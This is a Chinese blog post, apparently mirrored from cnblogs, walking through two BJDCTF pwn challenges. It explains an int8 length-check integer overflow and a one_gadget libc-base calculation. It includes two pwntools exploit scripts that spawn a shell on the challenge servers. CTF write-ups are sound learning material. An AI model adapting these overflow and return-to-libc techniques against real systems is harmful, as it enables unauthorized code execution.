zoukankan      html  css  js  c++  java
  • bjdctf r2t3 onegadget

      没错,这就是一篇很水的随笔。...

      两道很简单的题,先来看第一道。r2t3,保护检查了一下是只开启了堆栈不可执行。

      简单看一下ida的伪代码。

      main函数让你输入一个name,然后会执行一个name_check的函数,可以看到v3是int8类型的。这里可以进行整数溢出。

         Int8, 等于Byte, 占1个字节.

        Int16, 等于short, 占2个字节. -32768 32767

        Int32, 等于int, 占4个字节. -2147483648 2147483647

        Int64, 等于long, 占8个字节. -9223372036854775808 9223372036854775807

        这样, 看起来比short,int,long更加直观些!

       另外, 还有一个Byte, 它等于byte, 0 - 255.

      所以说这里的v3是占一个字节的,一个字节是由8位二进制决定的。

      例如:0000 0000 就是一个字节,代表0,1111 1111 也是一个字节,代表255.

      如果1111 1111再加1呢?结果就是0000 0000了,但是这只是显示了一个字节,其实再计算机里面会溢出,前面会进行进位操作,可以看到这里有个判断就是判断v3的长度,必须是在(3,8]这个区间内,满足这个容易,但是就溢出不到返回地址,要想溢出到返回地址,其实输入name的值是肯定要比8大的,这里就用到了这个整数溢出,我们可以给name的值的长度为260,这样就可以既绕过判断长度,又可以溢出到返回地址。

      对了,这道题给了后门,所以就直接拿到shell了。这里贴一下exp:

     1 from pwn import *
     2 
     3 p = remote('xxxxxx',xxxxx)
     4 context.log_level = 'debug'
     5 
     6 shell = 0x0804858B
     7 payload = 'a'*21 + p32(shell)
     8 payload += 'b'*(255-len(payload)+4)
     9 p.sendlineafter('name:',payload)
    10 
    11 print p.recv()
    12 p.recv()
    13 p.interactive()

      接下来就是one_gadget了,这道题,直接给了一个printf的地址,查一下libc版本,然后算出基地址,在直接找一个可以用的one_gadget,就直接拿到shell了。。。

      我比赛的时候一直在搭建自己学校的CTF平台,没顾上打这场比赛。。。(主要是自己菜,一道题也做不出来。。。哭唧唧)

    就尝试了这一道题,不知道为啥,当时怎么也打不通.............比赛完,再一试,就通了。  无耻的还是贴一下exp:

     1 from pwn import *
     2 
     3 context.log_level = 'debug'
     4 p = remote('xxxxxxxxn',xxxx)
     5 
     6 p.recvuntil('u:0x')
     7 print_addr = int(p.recv(12),16)
     8 og = [0xe237f,0xe2383,0xe2386,0x106ef8]
     9 base_addr = print_addr - 0x062830
    10 shell = base_addr + og[3]
    11 payload = str(shell)
    12 print payload
    13 p.sendlineafter('gadget:',payload)
    14 p.interactive()

      本来还想发一道题的,结果看见是堆题目,立一个flag,这个星期忙里偷闲,把堆入个门,顺便把拿到yds想要女朋友(???是CTF它不好玩吗?要什么女朋友???)做出来!

      下两个博客一个是堆,一个是那道题的解析!好了,又水了一篇博客,真开心,溜了溜了,上数据库原理去了。。。

  • 相关阅读:
    中国身份证号码验证
    防止盗链下载问题
    Microsoft .NET Pet Shop 4 架构与技术分析
    常用操作封装类
    ASP.NET 2.0页面框架的几处变化
    普通字符串与HTML相互转换的小经验
    HttpWebRequest实现读取天气预报信息
    事务回滚 c# .net代码
    CAJViewer,AdobeReader等阅读器实现金山词霸屏幕取词功能
    01背包问题动态规划详解
  • 原文地址:https://www.cnblogs.com/bhxdn/p/12572580.html
Copyright © 2011-2022 走看看